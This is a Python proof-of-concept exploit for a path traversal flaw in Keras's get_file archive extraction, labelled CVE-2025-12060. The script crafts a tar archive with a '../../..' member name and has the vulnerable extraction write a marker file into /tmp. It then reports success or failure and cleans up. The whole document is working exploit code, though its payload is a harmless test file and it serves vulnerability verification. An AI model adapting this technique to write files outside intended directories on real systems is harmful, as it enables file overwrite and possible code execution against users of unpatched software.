Vulnerable code sample

import os
import tarfile
import tempfile
import pathlib
from io import BytesIO

# This PoC demonstrates CVE-2025-12060 in a vulnerable version of Keras.
# It requires a Keras version < 3.12, usually via a corresponding
# TensorFlow installation (e.g., tensorflow < 2.17).

try:
    from tensorflow.keras.utils import get_file
except ImportError:
    print("FATAL: Could not import 'get_file' from 'tensorflow.keras.utils'.")
    print("Please install a vulnerable version of TensorFlow/Keras to run this PoC.")
    exit(1)

# Define the path for the malicious file and the traversal payload.
# This PoC targets POSIX systems (Linux, macOS) and attempts to write to /tmp.
malicious_filename = "pwned_by_keras_cve_2025_12060.txt"
malicious_file_path = f"/tmp/{malicious_filename}"

# The path traversal payload uses '..' to escape the extraction directory
# (e.g., ~/.keras/datasets/malicious_dataset/) and reach the filesystem root.
traversal_path_in_tar = f"../../../../../../../../tmp/{malicious_filename}"

if os.name == 'nt':
    print("Warning: This PoC is designed for POSIX-like systems (Linux, macOS).")
    print("The path traversal may not work as expected on Windows.")

# Clean up any previous runs of this script
if os.path.exists(malicious_file_path):
    try:
        os.remove(malicious_file_path)
    except OSError:
        pass # Ignore if we can't remove it

print(f"[*] PoC for Keras CVE-2025-12060")
print(f"[*] Objective: Create a file at '{malicious_file_path}' via path traversal.")
print(f"[*] Payload in tar archive will be: '{traversal_path_in_tar}'")

# Create a malicious tar archive in memory.
archive_data = BytesIO()
with tarfile.open(fileobj=archive_data, mode="w") as tar:
    file_content = b"This file was created by exploiting Keras CVE-2025-12060."
    tarinfo = tarfile.TarInfo(name=traversal_path_in_tar)
    tarinfo.size = len(file_content)
    tar.addfile(tarinfo, BytesIO(file_content))
archive_data.seek(0)

# Save the in-memory archive to a temporary file on disk to simulate a download.
with tempfile.NamedTemporaryFile(delete=False, suffix=".tar") as temp_archive_file:
    temp_archive_file.write(archive_data.read())
    malicious_archive_path = temp_archive_file.name

print(f"[*] Malicious tar archive written to: {malicious_archive_path}")

try:
    print("\n[*] Calling vulnerable function: keras.utils.get_file(..., extract=True)")

    # Use a file:// URI to point to the local malicious archive.
    origin_uri = pathlib.Path(malicious_archive_path).as_uri()

    # This is the vulnerable call. In an unpatched version, it uses tarfile.extractall()
    # without any filtering, allowing the path traversal attack.
    get_file(
        fname='malicious_dataset.tar',
        origin=origin_uri,
        extract=True,
        archive_format='tar'
    )
    print("[*] Extraction process finished.")

except Exception as e:
    print(f"[!] An exception occurred during extraction: {e}")
    print("[!] This may indicate the system is patched at the Python or Keras level.")

# Verify if the path traversal attack was successful.
print("\n[*] Verifying exploit success...")
if os.path.exists(malicious_file_path):
    print(f"\n[SUCCESS] Vulnerability confirmed!")
    print(f"File was created outside the intended directory at: {malicious_file_path}")
    with open(malicious_file_path, 'r') as f:
        print(f"File content: '{f.read()}'")
    os.remove(malicious_file_path)
    print(f"[*] Cleaned up the malicious file.")
else:
    print(f"\n[FAILURE] Malicious file was not found at the target location.")
    print("[*] The system is likely not vulnerable.")

# Clean up the temporary archive file.
os.remove(malicious_archive_path)
print(f"[*] Cleaned up the temporary archive file.")